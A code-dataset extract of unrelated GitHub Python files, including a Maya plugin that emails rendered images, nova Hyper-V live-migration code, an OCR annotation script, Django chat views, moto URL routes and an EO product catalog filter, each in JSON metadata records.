email.MIMEBase import MIMEBase \nfrom email.mime.multipart import MIMEMultipart\nfrom email import Encoders \n\nclass EmailImage(It3Command):\n\tDEFAULT_SENDER = 'YOUR_EMAIL_ADDRESS'\n\tDEFAULT_RECIPIENT = 'THEIR_EMAIL_ADDRESS'\n\tDEFAULT_SMTP = 'smtp.gmail.com'\n\tDEFAULT_PORT = '587'\n\t\n\tdef __init__(self):\n\t\tself.m_menuPath = 'Commands/Email Image...'\n\t\tself.m_dialog = None\n\t\tself.m_stdButtons = QDialogButtonBox.Apply|QDialogButtonBox.Cancel\n\t\t\n\tdef Invoke(self):\n\t\tif self.m_dialog == None:\n\t\t\tself.m_dialog = self.makeUI()\n\t\tself.m_dialog.show()\n\t\tself.m_dialog.raise_()\n\t\tself.m_dialog.activateWindow()\n\n\tdef makeUI(self):\n\t\tdlg = self.CreateDialog('Email Image')\n\t\tcontents = dlg.findChild(QVBoxLayout, 'contents')\n\t\tcontents.addSpacing(-10)\n\t\tcontents.setAlignment(QtCore.Qt.AlignTop)\n\t\t# Turn off the resizing of the dialog\n\t\tdlg.setSizeGripEnabled(False)\n\t\tdlg.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)\n\t\t\n\t\t# Setup the tabs______________________________________\n\t\ttabs = QTabWidget()\n\t\tcontents.addWidget(tabs)\n\t\n\t\tuser_tab = QWidget()\n\t\tuser_layout\t= QVBoxLayout()\n\t\tuser_layout.setSpacing(5)\n\t\tuser_tab.setLayout(user_layout)\n\t\t\n\t\trecip_tab = QWidget()\n\t\trecip_layout = QVBoxLayout()\n\t\trecip_layout.setSpacing(5)\n\t\trecip_tab.setLayout(recip_layout)\n\t\trecip_layout.setAlignment(QtCore.Qt.AlignTop)\n\t\t\n\t\ttabs.addTab(user_tab, 'Sign In')\n\t\ttabs.addTab(recip_tab, 'Recipient')\n\t\t\n\t\t# Add to the 'Sign In' tab____________________________\n\t\tself.smtpTF = self.addTextField(user_layout, 'SMTP: ', EmailImage.DEFAULT_SMTP, 150)\n\t\tself.portTF = self.addTextField(user_layout, 'Port:', EmailImage.DEFAULT_PORT, 50)\n\t\tself.fromTF = self.addTextField(user_layout, 'Email:', EmailImage.DEFAULT_SENDER, 150)\n\t\tself.passTF = self.addTextField(user_layout, 'Password:', '', 150, QLineEdit.Password)\n\t\t\n\t\t# Add to the 'Recipient' tab___________________________\n\t\tself.toTF = self.addTextField(recip_layout, 'Send To: ', EmailImage.DEFAULT_RECIPIENT, 150)\n\t\tself.noteTF = self.addTextField(recip_layout, 'Notes', '', 150)\n\t\t\n\t\t# Take care of the default buttons_____________________\n\t\tbbox = dlg.findChild(QDialogButtonBox, 'bbox')\n\t\tdoItButton = bbox.button(QDialogButtonBox.Apply)\n\t\tdoItButton.setText('Send')\n\t\tdoItButton.connect('clicked()', self.doit)\n\t\treturn dlg\n\t\t\n\t# Makes a labelled textfield (QLineEdit) and returns a reference to field. \n\tdef addTextField(self, parent, label, text, width,echo_mode=QLineEdit.Normal):\n\t\tlayout = QHBoxLayout()\n\t\tlayout.setAlignment(QtCore.Qt.AlignLeft)\n\t\tparent.addLayout(layout)\n\t\tlabel = QLabel(label)\n\t\tlabel.setFixedWidth(50)\n\t\tlayout.addWidget(label)\n\t\tfield = QLineEdit()\n\t\tfield.setFixedWidth(width)\n\t\tfield.setText(text)\n\t\tfield.echoMode = echo_mode\n\t\tlayout.addWidget(field)\n\t\treturn field\n\t\t\t\t\n\t# Called by the 'Send' button\n\tdef doit(self):\n\t\t# Find a location where we can save a temporary jpg image\n\t\tcwdpath = os.getcwd()\n\t\tif len(cwdpath) < 3:\n\t\t\tcwdpath = os.environ['HOME']\n\t\t\tif len(cwdpath) < 3:\t\n\t\t\t\tit.app.Error('Unable to determine the current working directory (CWD).')\n\t\t\t\tit.app.Error('The image cannot be saved and, therefore, cannot be emailed.')\n\t\t\t\tit.app.RaiseLogWindow()\n\t\t\t\treturn\n\t\t# Do we have a valid catalog image\n\t\ttry:\n\t\t\telem = it.GetCurrentElement()\n\t\texcept:\n\t\t\tit.app.Warning('Cannot find a catalog image to send.')\n\t\t\tit.app.RaiseLogWindow()\n\t\t\treturn\n\t\t\t\n\t\t# Save the IceMan image as a jpg_______________________\n\t\timgname = it.os.path.basename( elem.GetFilename() )\n\t\tif imgname.endswith('.jpg') == False:\n\t\t\timgname += '.jpg'\n\t\timagePath = os.path.join(cwdpath,imgname)\n\t\tself.saveImage(elem, imagePath, 2.2, 100)\n\t\tit.app.Info('Saved a temporary image as \"%s\"' % imagePath)\n\n\t\t# Prepare the email____________________________________\n\t\tmsg = MIMEMultipart()\n\t\tmsg['Subject'] = imgname\n\t\tmsg['From'] = self.fromTF.text\n\t\tmsg['To'] = self.toTF.text\n\t\tpart = MIMEBase('application', \"octet-stream\")\n\t\t\n\t\t# Read the jpg data, then delete the image file\n\t\tfp = open(imagePath, 'rb')\n\t\tpart.set_payload(fp.read())\n\t\tfp.close()\n\t\tos.remove(imagePath)\n\t\t# Encode the attachment\n\t\tEncoders.encode_base64(part)\n\t\tpart.add_header('Content-Disposition','attachment; filename=\"%s\"' % imgname)\n\t\tmsg.attach(part)\n\n\t\tif len(self.noteTF.text.strip()) > 0:\n\t\t\tmsg.attach(MIMEText(self.noteTF.text, 'plain'))\n\t\telse:\n\t\t\tmsg.attach(MIMEText('Rendered image from PRMan', 'plain'))\n\t\t# Send via the SMTP server\n\t\tserver = smtplib.SMTP(self.smtpTF.text, int(self.portTF.text))\n\t\tserver.ehlo()\n\t\tserver.starttls()\n\t\tserver.ehlo()\n\t\tserver.login( msg['From'], self.passTF.text)\n\t\tserver.sendmail( msg['From'], msg['To'] , msg.as_string())\n\t\tserver.close()\n\t\tit.app.Info('Image has been sent')\n\t\t\n\tdef saveImage(self, element, path, gamma, quality):\n\t image = element.GetImage()\n\t image = image.Gamma(gamma);\n\t image.SetMetaDataItem('JPEG_QUALITY', quality)\n\t image.Save(path, ice.constants.FMT_JPEG)\n\t\t\n# Add the new menu item\nit.commands.append(EmailImage)\n\n\n","repo_name":"deepspacebanana/VSFX-502-Projects","sub_path":"maya/projects/RfM_it/EmailImage.py","file_name":"EmailImage.py","file_ext":"py","file_size_in_byte":5468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28564678077","text":"from os_win import utilsfactory\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\n\nimport nova.conf\nfrom nova.objects import migrate_data as migrate_data_obj\nfrom nova.virt.hyperv import imagecache\nfrom nova.virt.hyperv import pathutils\nfrom nova.virt.hyperv import vmops\nfrom nova.virt.hyperv import volumeops\n\nLOG = logging.getLogger(__name__)\nCONF = nova.conf.CONF\n\n\nclass LiveMigrationOps(object):\n def __init__(self):\n self._livemigrutils = utilsfactory.get_livemigrationutils()\n self._pathutils = pathutils.PathUtils()\n self._vmops = vmops.VMOps()\n self._volumeops = volumeops.VolumeOps()\n self._imagecache = imagecache.ImageCache()\n self._vmutils = utilsfactory.get_vmutils()\n\n def live_migration(self, context, instance_ref, dest, post_method,\n recover_method, block_migration=False,\n migrate_data=None):\n LOG.debug(\"live_migration called\", instance=instance_ref)\n instance_name = instance_ref[\"name\"]\n\n try:\n self._vmops.copy_vm_console_logs(instance_name, dest)\n self._vmops.copy_vm_dvd_disks(instance_name, dest)\n self._livemigrutils.live_migrate_vm(instance_name,\n dest)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.debug(\"Calling live migration recover_method \"\n \"for instance: %s\", instance_name)\n recover_method(context, instance_ref, dest, block_migration)\n\n LOG.debug(\"Calling live migration post_method for instance: %s\",\n instance_name)\n post_method(context, instance_ref, dest, block_migration)\n\n def pre_live_migration(self, context, instance, block_device_info,\n network_info):\n LOG.debug(\"pre_live_migration called\", instance=instance)\n self._livemigrutils.check_live_migration_config()\n\n if CONF.use_cow_images:\n boot_from_volume = self._volumeops.ebs_root_in_block_devices(\n block_device_info)\n if not boot_from_volume and instance.image_ref:\n self._imagecache.get_cached_image(context, instance)\n\n self._volumeops.initialize_volumes_connection(block_device_info)\n\n def post_live_migration(self, context, instance, block_device_info):\n self._volumeops.disconnect_volumes(block_device_info)\n self._pathutils.get_instance_dir(instance.name,\n create_dir=False,\n remove_dir=True)\n\n def post_live_migration_at_destination(self, ctxt, instance_ref,\n network_info, block_migration):\n LOG.debug(\"post_live_migration_at_destination called\",\n instance=instance_ref)\n self._vmops.log_vm_serial_output(instance_ref['name'],\n instance_ref['uuid'])\n\n def check_can_live_migrate_destination(self, ctxt, instance_ref,\n src_compute_info, dst_compute_info,\n block_migration=False,\n disk_over_commit=False):\n LOG.debug(\"check_can_live_migrate_destination called\", instance_ref)\n return migrate_data_obj.HyperVLiveMigrateData()\n\n def check_can_live_migrate_destination_cleanup(self, ctxt,\n dest_check_data):\n LOG.debug(\"check_can_live_migrate_destination_cleanup called\")\n\n def check_can_live_migrate_source(self, ctxt, instance_ref,\n dest_check_data):\n LOG.debug(\"check_can_live_migrate_source called\", instance_ref)\n return dest_check_data\n","repo_name":"BU-NU-CLOUD-SP16/Trusted-Platform-Module-nova","sub_path":"nova/virt/hyperv/livemigrationops.py","file_name":"livemigrationops.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"38197944671","text":"import glob,os, sys\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport pytesseract\r\nimport cv2\r\nimport shutil\r\n\r\ndef make_dir(dir_name):\r\n\ttry:\r\n\t\tos.mkdir(dir_name)\r\n\texcept FileExistsError:\r\n\t\tpass\r\n\r\nos.chdir(sys.argv[1])\r\nmake_dir('anotasi')\r\n\r\n# daftar file\r\n# ===========\r\nall_png = glob.glob('*.png')\r\n\r\n# isi data teks\r\n# =============\r\nrekap_hilal = pd.DataFrame()\r\nrekap_hilal['Nama File'] = all_png\r\nrekap_hilal['hari'] = [os.getcwd().split(\"\\\\\")[-1].split('-')[-1]] * len(all_png)\r\nrekap_hilal['bulan']= [os.getcwd().split(\"\\\\\")[-1].split('-')[-2]]\t* len(all_png)\r\nrekap_hilal['tahun']= [os.getcwd().split(\"\\\\\")[-1].split('-')[-3]] * len(all_png)\r\n\r\n# baca anotasi tiap citra\r\n# =======================\r\n# kosongkan folder 'anotasi'\r\ncurrent_dir = os.getcwd()\r\nos.chdir('anotasi')\r\nrm = glob.glob('*')\r\nfor file in rm: os.remove(file)\r\nos.chdir(current_dir)\r\n\r\nprint()\t\r\n\r\nsub_sec, location, flat_file, cont_streched, cont_enhanced , img_stacked = [],[],[],[],[],[]\r\n\r\nfor n_image in range(len(all_png)):\t\r\n\timg = Image.open(all_png[n_image])\r\n\timg_crop = img.crop((0,0, 497, 90))\r\n\t\r\n\tcurrent_dir = os.getcwd()\r\n\timg_crop.save('anotasi-'+all_png[n_image],quality = 100)\r\n\tpytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\USER\\AppData\\Local\\Tesseract-OCR\\tesseract.exe'\r\n\r\n\tlarge_image = cv2.imread('anotasi-'+all_png[n_image])\r\n\tlarge_image = cv2.bitwise_not(large_image)\r\n\tlarge_image = cv2.resize(large_image, None, fx = 4, fy = 4)\r\n\tlarge_image = cv2.cvtColor(large_image, cv2.COLOR_BGR2GRAY)\r\n\r\n\tkernel = np.ones((1,1), np.uint8)\r\n\r\n\tcv2.imwrite('anotasiputih-'+all_png[n_image], large_image)\r\n\t\r\n\r\n\t'''\r\n\t# mencba parameter psm dari config\r\n\tfor psm in range(10,13+1):\r\n\t\tconfig = '--oem 3 --psm %d' % psm\r\n\t\ttxt = pytesseract.image_to_string(large_image, config = config, lang='eng')\r\n\t\tprint('psm ', psm, ':',txt)\r\n\t\twhole_txt.append(txt)\r\n\t'''\r\n\r\n\tconfig = '--oem 3 --psm 11'\r\n\ttxt = pytesseract.image_to_string(large_image, config = config, lang='eng')\r\n\t\r\n\ttext = txt.split('\\n')[::2]\r\n\t\r\n\tshutil.move('anotasi-'+all_png[n_image], 'anotasi')\r\n\tshutil.move('anotasiputih-'+all_png[n_image], 'anotasi')\r\n\t\r\n\tsub_sec.append(text[0].split('.')[-1].split()[0])\r\n\tlocation.append(text[0].split('-')[-1])\r\n\t\r\n\tif text[1] == 'No flat field correction':\r\n\t\tflat_file.append('No flat field correction')\r\n\telse:\r\n\t\tflat_file.append(text[1].split('\\\\')[-1])\r\n\tactions = text[2:-1]\r\n\t\t\r\n\tif actions[0] == 'Contrast streched': cont_streched.append('yes')\r\n\telse: cont_streched.append('no')\r\n\t\r\n\tif actions[1] == 'Contrast enhanced': cont_enhanced.append('yes')\r\n\telse: cont_enhanced.append('no')\r\n\t\r\n\tif text[-1].split()[0]== 'No':\r\n\t\timg_stacked.append('No image stacking')\r\n\telse:\r\n\t\timg_stacked.append(text[-1].split()[-1])\r\n\t\r\n\tprint(str(n_image+1)+'/'+str(len(all_png)),all_png[n_image],' ',sub_sec[-1],' ',flat_file[-1],' ',cont_streched[-1],' ',cont_enhanced[-1],' ',img_stacked[-1] )\r\n\t\r\njam,menit,detik = [],[],[]\r\nfor file in all_png:\r\n\tjam.append(file.split('-')[-3])\r\n\tmenit.append(file.split('-')[-2])\r\n\tdetik.append(file.split('-')[-1].split()[0])\r\n\r\n\r\ndetik_ss = []\r\nfor s,ss in zip(detik,sub_sec):\r\n\tdetik_ss.append(s+'.'+ss)\r\n\t\r\n\t\r\nrekap_hilal['jam'] = jam\r\nrekap_hilal['menit'] = menit\r\nrekap_hilal['detik'] = detik_ss\r\n\r\n\r\nrekap_hilal['teleskop'] = ['-'] * len(all_png)\r\nrekap_hilal['detektor'] = ['-'] * len(all_png)\r\nrekap_hilal['filter'] = ['-'] * len(all_png)\r\nrekap_hilal['baffle'] = ['-'] * len(all_png)\r\n\r\nrekap_hilal['lokasi'] = location\r\nrekap_hilal['cont_streched']= cont_streched\r\nrekap_hilal['cont_enhanced']= cont_enhanced\r\nrekap_hilal['file flat'] = flat_file\r\nrekap_hilal['image stacked']= img_stacked\r\n\r\nrekap_hilal['konjungsi'] = ['-'] * len(all_png)\r\nrekap_hilal['usia bulan'] = ['-'] * len(all_png)\r\nrekap_hilal['bulan Hijriah']= ['-'] * len(all_png)\r\nrekap_hilal['keterangan'] = ['-'] * len(all_png)\r\n\r\n\r\n# Simpan dataframe ke file excel\r\n# ==============================\r\nnama_file = 'Hasil Script Rekap Data Citra_'+current_dir.split(\"\\\\\")[-1]+'.xlsx'\r\nfile_excel = pd.ExcelWriter(nama_file)\r\nrekap_hilal.to_excel(file_excel)\r\nfile_excel.save()\r\n\r\nprint()\r\nprint(\"DataFrame berhasil ditulis ke : \"+nama_file)\r\n","repo_name":"dhimazgilang/BacaAnotasiHilalBosscha","sub_path":"baca_anotasi.py","file_name":"baca_anotasi.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7501714530","text":"from django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect\nfrom django.utils import timezone\n\nfrom community.models import Post as communityPost\nfrom ip_gather import get_client_ip\nfrom oneroom.models import Post as oneroomPost\nfrom usedtrade.models import Post as usedtradePost\nfrom .forms import *\n\n\n# Create your views here.\ndef index(request):\n usedtrade_data = usedtradePost.objects.all().order_by('-create_date')\n usedtrade_paginator = Paginator(usedtrade_data, 4)\n usedtrade_data = usedtrade_paginator.get_page(1)\n\n oneroom_data = oneroomPost.objects.order_by('id')\n oneroom_paginator = Paginator(oneroom_data, 4)\n oneroom_data = oneroom_paginator.get_page(1)\n\n oneroom_data2 = oneroomPost.objects.order_by('-id')\n oneroom_paginator2 = Paginator(oneroom_data2, 4)\n oneroom_data2 = oneroom_paginator2.get_page(1)\n\n community_data = communityPost.objects.all().order_by('id')\n community_paginator = Paginator(community_data, 8)\n community_data = community_paginator.get_page(1)\n\n community_data2 = communityPost.objects.all().order_by('-id')\n community_paginator2 = Paginator(community_data2, 4)\n community_data2 = community_paginator2.get_page(1)\n\n context = {'usedtrade': usedtrade_data, 'oneroom': oneroom_data, 'oneroom2': oneroom_data2,\n 'community': community_data, 'community2': community_data2}\n return render(request, 'main/index.html', context)\n\n\n@login_required(login_url='common:login')\ndef mypage(request):\n return render(request, 'common/mypage_info.html')\n\n\ndef login_find(request):\n return render(request, 'common/login_Find.html')\n\n\ndef signup(request):\n form = UserForm()\n if request.method == \"POST\":\n form = UserForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('common:index')\n else:\n pass\n # user_form = UserForm(instance=request.user)\n\n return render(request, 'common/signup.html', {'form': form})\n\n\ndef page_not_found(request):\n return render(request, '404.html')\n\n\n@login_required(login_url='common:login')\ndef usedtrade_chat(request, num):\n if num is 0:\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.exclude(chat_list__used_post__isnull=True)\n context = {'chatroom': chat_room_set}\n return render(request, 'common/usedtrade_chat.html', context)\n else:\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.exclude(chat_list__used_post__isnull=True)\n query_set = Chat.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n query_set = query_set.filter(chatroom=num)\n usedtrade_info = usedtradePost.objects.filter(id=query_set.first().used_post_id)\n context = {'data': query_set, 'chatroom': chat_room_set, 'info': usedtrade_info}\n return render(request, 'common/usedtrade_chat.html', context)\n\n\n@login_required(login_url='common:login')\ndef usedtrade_chat_send(request, chatroom_id):\n if request.method == 'POST':\n form = ChatForm(request.POST)\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.filter(id=chatroom_id)\n\n if form.is_valid():\n chat = form.save(commit=False)\n chat.author = request.user\n chat.author_ip = get_client_ip(request)\n chat.create_date = timezone.now()\n author = chat_room_set.last().author\n if author == request.user:\n chat.receiver = chat_room_set.last().receiver\n else:\n chat.receiver = author\n chat.used_post_id = chat_room_set.last().chat_list.last().used_post_id\n chat.chatroom_id = chatroom_id\n chat.save()\n return redirect('common:usedtrade_chat', chatroom_id)\n\n\n@login_required(login_url='common:login')\ndef community_chat(request):\n return render(request, 'common/community_chat.html')\n\n\n@login_required(login_url='common:login')\ndef community_chat(request, num):\n if num is 0:\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.exclude(chat_list__community_post__isnull=True)\n context = {'chatroom': chat_room_set}\n return render(request, 'common/community_chat.html', context)\n else:\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.exclude(chat_list__community_post__isnull=True)\n query_set = Chat.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n query_set = query_set.filter(chatroom=num)\n usedtrade_info = usedtradePost.objects.filter(id=query_set.first().community_post_id)\n context = {'data': query_set, 'chatroom': chat_room_set, 'info': usedtrade_info}\n return render(request, 'common/community_chat.html', context)\n\n\n@login_required(login_url='common:login')\ndef community_chat_send(request, chatroom_id):\n if request.method == 'POST':\n form = ChatForm(request.POST)\n chat_room_set = ChatRoom.objects.filter(Q(author=request.user) | Q(receiver=request.user))\n chat_room_set = chat_room_set.filter(id=chatroom_id)\n if form.is_valid():\n chat = form.save(commit=False)\n chat.author = request.user\n chat.author_ip = get_client_ip(request)\n chat.create_date = timezone.now()\n author = chat_room_set.last().author\n if author == request.user:\n chat.receiver = chat_room_set.last().receiver\n else:\n chat.receiver = author\n chat.community_post_id = chat_room_set.last().chat_list.last().community_post_id\n chat.chatroom_id = chatroom_id\n chat.save()\n return redirect('common:community_chat', chatroom_id)\n\n\n@login_required(login_url='common:login')\ndef service(request):\n return render(request, 'common/mypage_question.html')\n\n\ndef job_opening(request):\n return render(request, 'etc/job_opening.html')\n\n\n# def email(request):\n# os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"Toch.settings.local\")\n# otp = str(random.randint(100000, 999999))\n# email = EmailMessage(\n# 'Hello', # 제목\n# otp, # 내용\n# 'toch.text.email@gmail.com', # 보내는 이메일 (settings에서 설정해서 작성안해도 됨)\n# to=['eric3285@naver.com'], # 받는 이메일 리스트\n# )\n# email.send()\n# context = {'otp': otp}\n# print(context)\n# return render(request, 'common/email.html', context)\n\n\ndef fixing(request):\n return render(request, 'fixing.html')\n","repo_name":"clyde0813/Toch_Project","sub_path":"common/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73665130066","text":"# -*- coding: utf-8 -*-\r\nimport pandas as pd\r\nimport numpy as np\r\ntemp=pd.read_csv('result/fullData.csv')\r\n#rnames = ['user_id', 'item_id', 'rating', 'time','count']\r\n#mnames = ['user_id','item_id','rating','time', 'type0','type1','type2','type3','type4','type5','type6','type7','type8','type9','type10','type11','type12','type13','type14','type15','type16','type17','type18']\r\n#\r\n#ratings = pd.read_table(rpath,sep=',',header=None,names=rnames)\r\n#print ('ratings读取完成')\r\n#movies = pd.read_table(mpath,sep=',',header=None,names=mnames)\r\n#print ('movies读取完成')\r\n#rating_type=pd.merge(ratings,movies,how='left',on=['user_id','item_id'])\r\n#\r\n#rating_type.to_csv('result/data.csv')\r\n#print ('合并完成')\r\n#for ty in ['type1']:\r\n# findCount={} #用户id和自己所有评价的时间戳字典\r\n# userData=temp.groupby(['user_id']).apply(lambda x:x[ty][x['time_y']<101]).reset_index()\r\n# print (userData)\r\n \r\n# for user_id,max_time in zip(userData['user_id'],userData['time']):\r\n# findCount[user_id]=max_time\r\n# #length=len(data)\r\n# #print (length-data.index(100)-1)\r\n# rowSum=temp.iloc[:,0].size\r\n# for i in range(0,rowSum):\r\n# user_id=temp.loc[i]['user_id']\r\n# time=temp.loc[i]['time']\r\n# data=findCount[user_id]\r\n# length=len(data)\r\n# temp.loc[i][ty]=length-data.index(time)-1\r\n# temp.to_csv('result/Count_type.csv')\r\nprint (temp.columns)\r\n#maxValueDict={}\r\n#count=temp.groupby(['user_id','type1']).apply(lambda x:x['time'].values.max()).reset_index(name='max_time')\r\n#for user_id,max_time in zip(count['user_id'],count['max_time']):\r\n# maxValueDict[user_id]=max_time\r\nrowSum=temp.iloc[:,0].size\r\n#print ('maxValueDict完成')\r\ntemp['type']=1\r\nfor i in range(1,rowSum):\r\n count=0\r\n user_id=temp.loc[i]['user_id'] \r\n time=temp.loc[i]['time']\r\n data=temp[np.logical_and(np.logical_and(temp['user_id']==user_id , temp['type1']==1),temp['time']>time)]\r\n length=data.iloc[:,0].size\r\n temp.loc[i]['type']=length\r\n print ('%.2f'%(i/rowSum))\r\ntemp.to_csv('result/testType.csv')","repo_name":"shujuner/movieLens_analyse","sub_path":"typeData_deal.py","file_name":"typeData_deal.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12702662752","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN, K = map(int, input().split())\r\n\r\ndef binomial(n, k):\r\n arr = [[0 for x in range(k+1)] for y in range(n+1)]\r\n\r\n for i in range(n+1):\r\n for j in range(min(i, k)+1):\r\n if j == 0 or j == i:\r\n arr[i][j] = 1\r\n else:\r\n arr[i][j] = arr[i-1][j-1] + arr[i-1][j]\r\n return arr[n][k]\r\n\r\nprint(binomial(N, K)%10007)","repo_name":"Pearl-K/Algorithm-Baekjoon-Programmers-","sub_path":"백준/Silver/11051. 이항 계수 2/이항 계수 2.py","file_name":"이항 계수 2.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13001013198","text":"import sys\nsys.stdin = open(\"D4_4050_input.txt\", \"r\")\n\nT = int(input())\nfor test_case in range(T):\n N = int(input())\n data = sorted(list(map(int, input().split())))\n mat = [[] for _ in range((len(data) // 3 + 1))]\n mat = 0\n for i in range(len(data)):\n j = 0\n while len(data) > 0:\n mat[j].append(data.pop(-1))\n if len(mat[j]) == 3:\n j += 1\n for j in range(len(mat)):\n mat += sum(mat[j][:2])\n print(\"#{} {}\".format(test_case + 1, mat))","repo_name":"hongyong3/TIL","sub_path":"Algorithm/Swea/D4_4050.py","file_name":"D4_4050.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32303640961","text":"from .responses import ElasticsearchServiceResponse\nfrom moto.opensearch.responses import OpenSearchServiceResponse\n\nurl_bases = [\n r\"https?://es\\.(.+)\\.amazonaws\\.com\",\n]\n\n\nurl_paths = {\n \"{0}/2015-01-01/domain$\": ElasticsearchServiceResponse.list_domains,\n \"{0}/2015-01-01/es/domain$\": ElasticsearchServiceResponse.domains,\n \"{0}/2015-01-01/es/domain/(?P[^/]+)\": ElasticsearchServiceResponse.domain,\n \"{0}/2021-01-01/domain$\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/opensearch/compatibleVersions\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/opensearch/domain\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/opensearch/domain/(?P[^/]+)\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/opensearch/domain/(?P[^/]+)/config\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/tags/\": OpenSearchServiceResponse.dispatch,\n \"{0}/2021-01-01/tags-removal/\": OpenSearchServiceResponse.dispatch,\n}\n","repo_name":"getmoto/moto","sub_path":"moto/es/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"38123555349","text":"import logging\nimport datetime\nfrom typing import Dict, Iterable\n\nfrom geodataflow.core.common import CaseInsensitiveDict, DateUtils\nfrom geodataflow.pipeline.basictypes import AbstractFilter\nfrom geodataflow.eogeo.productcatalog import ProductCatalog\n\n\nclass EOProductCatalog(AbstractFilter):\n \"\"\"\n The Filter extracts Metadata from EO/STAC Collections via spatial & alphanumeric filters.\n \"\"\"\n def __init__(self):\n AbstractFilter.__init__(self)\n self.driver = 'STAC'\n self.provider = 'https://earth-search.aws.element84.com/v0/search'\n self.product = 'sentinel-s2-l2a-cogs'\n self.startDate = None\n self.endDate = None\n self.closestToDate = None\n self.windowDate = None\n self.filter = None\n self.preserveInputCrs = True\n\n def alias(self) -> str:\n \"\"\"\n Returns the Human alias-name of this Module.\n \"\"\"\n return 'Catalog'\n\n def description(self) -> str:\n \"\"\"\n Returns the Description text of this Module.\n \"\"\"\n return 'Extracts Metadata from EO/STAC Collections via spatial & alphanumeric filters.'\n\n def category(self) -> str:\n \"\"\"\n Returns the category or group to which this Module belongs.\n \"\"\"\n return 'EO STAC Imagery'\n\n def params(self) -> Dict:\n \"\"\"\n Returns the declaration of parameters supported by this Module.\n \"\"\"\n eo_catalog = ProductCatalog()\n drivers = [driver.name().upper() for driver in eo_catalog.available_drivers()]\n\n return {\n 'driver': {\n 'description': 'Driver class name that implements EO Providers.',\n 'dataType': 'string',\n 'default': 'STAC',\n 'options': drivers,\n 'labels': drivers\n },\n 'provider': {\n 'description': 'Provider name or API Endpoint that provides info about EO Products.',\n 'dataType': 'string',\n 'default': 'https://earth-search.aws.element84.com/v0/search'\n },\n 'product': {\n 'description': 'EO Product type or Collection from which to fetch data.',\n 'dataType': 'string',\n 'default': 'sentinel-s2-l2a-cogs'\n },\n 'startDate': {\n 'description': 'Start date of EO Products to fetch (Optional). \"$TODAY()\" is supported.',\n 'dataType': 'date'\n },\n 'endDate': {\n 'description': 'End date of EO Products to fetch (Optional). \"$TODAY()\" is supported.',\n 'dataType': 'date'\n },\n 'closestToDate': {\n 'description':\n 'Select only those EO Products which Date is the closest to the specified (Optional).',\n 'dataType': 'date'\n },\n 'windowDate': {\n 'description':\n 'Days around \"closestToDate\" when \"startDate\" and \"endDate\" are not specified.',\n 'dataType': 'int',\n 'default': 5\n },\n 'filter': {\n 'description': 'Attribute filter string of EO Products to fetch (Optional).',\n 'dataType': 'filter'\n },\n 'preserveInputCrs': {\n 'description': 'Preserve input CRS, otherwise Geometries are transformed to \"EPSG:4326\".',\n 'dataType': 'bool',\n 'default': True\n }\n }\n\n def fetch_products(self, geometry, input_crs, app_config: Dict, limit: int = 1000) -> Iterable:\n \"\"\"\n Fetch EO Products using current settings.\n \"\"\"\n start_date, final_date = \\\n DateUtils.parse_date_range(self.startDate, self.endDate, self.closestToDate, self.windowDate)\n\n product_filter = dict()\n if self.filter:\n for item in self.filter.replace('==', '=').split(';'):\n pair = item.split('=')\n product_filter[pair[0].strip()] = pair[1].strip()\n\n # Search available EO products according the current AOI-TimeRange criteria.\n eo_catalog = ProductCatalog()\n\n # Transform Geometries to EPSG:4326 for searching EO Products?\n from geodataflow.spatial.commonutils import GeometryUtils\n transform_fn = GeometryUtils.create_transform_function(input_crs, 4326)\n geometry = transform_fn(geometry)\n\n params = dict(\n driver=self.driver,\n provider=self.provider,\n config=app_config,\n product_type=self.product,\n area=geometry,\n date=(start_date, final_date),\n limit=limit\n )\n if len(product_filter) > 0:\n params.update(product_filter)\n\n # Search EO Products!\n for product in eo_catalog.search(**params):\n yield product\n\n pass\n\n def starting_run(self, schema_def, pipeline, processing_args, fetch_fields: bool = True):\n \"\"\"\n Starting a new Workflow on Geospatial data.\n \"\"\"\n from geodataflow.core.schemadef import DataType, 